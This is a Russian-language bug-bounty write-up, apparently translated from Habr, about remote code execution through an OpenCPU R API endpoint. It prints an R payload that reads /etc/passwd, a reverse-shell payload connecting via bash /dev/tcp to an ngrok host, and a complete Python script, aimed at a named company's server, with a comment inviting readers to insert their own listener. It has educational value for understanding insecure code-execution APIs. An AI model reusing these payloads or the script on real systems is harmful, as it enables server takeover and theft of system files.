За время моего пути в баг-баунти я сталкивался с различными интересными уязвимостями, но эта превзошла их все — уязвимость удаленного выполнения кода (RCE) в API-эндпоинте на языке R. Проэксплуатировав ее, мне удалось получить доступ к важным системным файлам и даже установить reverse shell на сервере. Эта статья написана для облегчения понимания процесса.
— — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
| User | — → | Vulnerable API| — → | OpenCPU Server | — → | Server Response |
+ — — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
Уязвимость
Во время тестирования приложения я обнаружил API, который позволял пользователям исполнять код на R:
https://statistics-api.example.com/ocpu/library/base/R/do.call/json
Идея этого эндпоинта казалась весьма простой: пользователи могли динамически запускать функции на R. Однако меня насторожило то, что он, похоже, не проверял и не ограничивал тип кода на R, который мог быть выполнен. Это создавало потенциальную возможность для эксплуатации.
После нескольких тестирований я создал полезную нагрузку, которая эксплуатировала данный эндпоинт для выполнения произвольных команд через функцию system() языка R.
Начальный этап: Тестирование доступа к файлам
Первое, что пришло мне в голову, — проверить, может ли API выполнять команды. Моя цель? Прочитать файл /etc/passwd, часто используемый для подтверждения несанкционированного доступа к файлам.
Вот нагрузка, которую я разработал:
reverse_shell_payload = f"function(x) {{ return(system(paste('cat /etc/passwd'), intern = TRUE)) }}"
Она использует функцию system языка R для выполнения команды cat /etc/passwd на сервере. Я обернул её в функцию R, чтобы она соответствовала ожидаемому формату ввода API.
Для проверки я написал Python-скрипт, отправляющий POST-запрос к API:
Когда я запустил скрипт, бам — сервер ответил содержимым файла /etc/passwd. Это подтвердило, что API уязвим к RCE!
Следующий этап: создание обратного шелла
Чтение файлов — это одно дело, но, чтобы показать полный масштаб данной уязвимости, я решил установить reverse shell. Что позволило бы мне удалённо управлять сервером.
Вот полезная нагрузка, которую я использовал:
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}"
Эта команда использует bash для обратного соединения со мной. Я настроил прослушиватель с помощью ngrok, что упростило задачу по открытию локального порта в интернет.
Python-скрипт выглядит следующим образом:
import requests import re import ssl # Disable SSL warnings requests.packages.urllib3.disable_warnings() # Define BaseURL BaseURL = "https://statistics-api.sonova.com" # Construct the full payload to establish a reverse shell connection reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}" # please replace with your ngrok link # Define the URL url = f"{BaseURL}/ocpu/library/base/R/do.call/json" # Define headers headers = { "Content-Type": "application/x-www-form-urlencoded", } # Define payload data data = { "what": reverse_shell_payload, "args": "{}", } # Send the request response = requests.post(url, headers=headers, data=data, verify=False) # Check the response if response.status_code == 201: print("Reverse shell executed successfully.") else: print("Failed to execute reverse shell. Status code:", response.status_code)
После запуска скрипта я мог полностью контролировать сервер, свободно перемещаться по директориям и иметь доступ к различным файлам.
Заключение
Этот случай является хорошим примером: API, которые позволяют динамически выполнять код, могут быть крайне опасны, если они не защищены должным образом. Как охотники за уязвимостями, мы должны не только находить такие уязвимости, но и помогать организациям их исправить до того, как ими воспользуются злоумышленники. Надеюсь, эта история вдохновит вас на более глубокое исследование тестируемых API.
ссылка на оригинал статьи https://habr.com/ru/articles/870842/
Добавить комментарий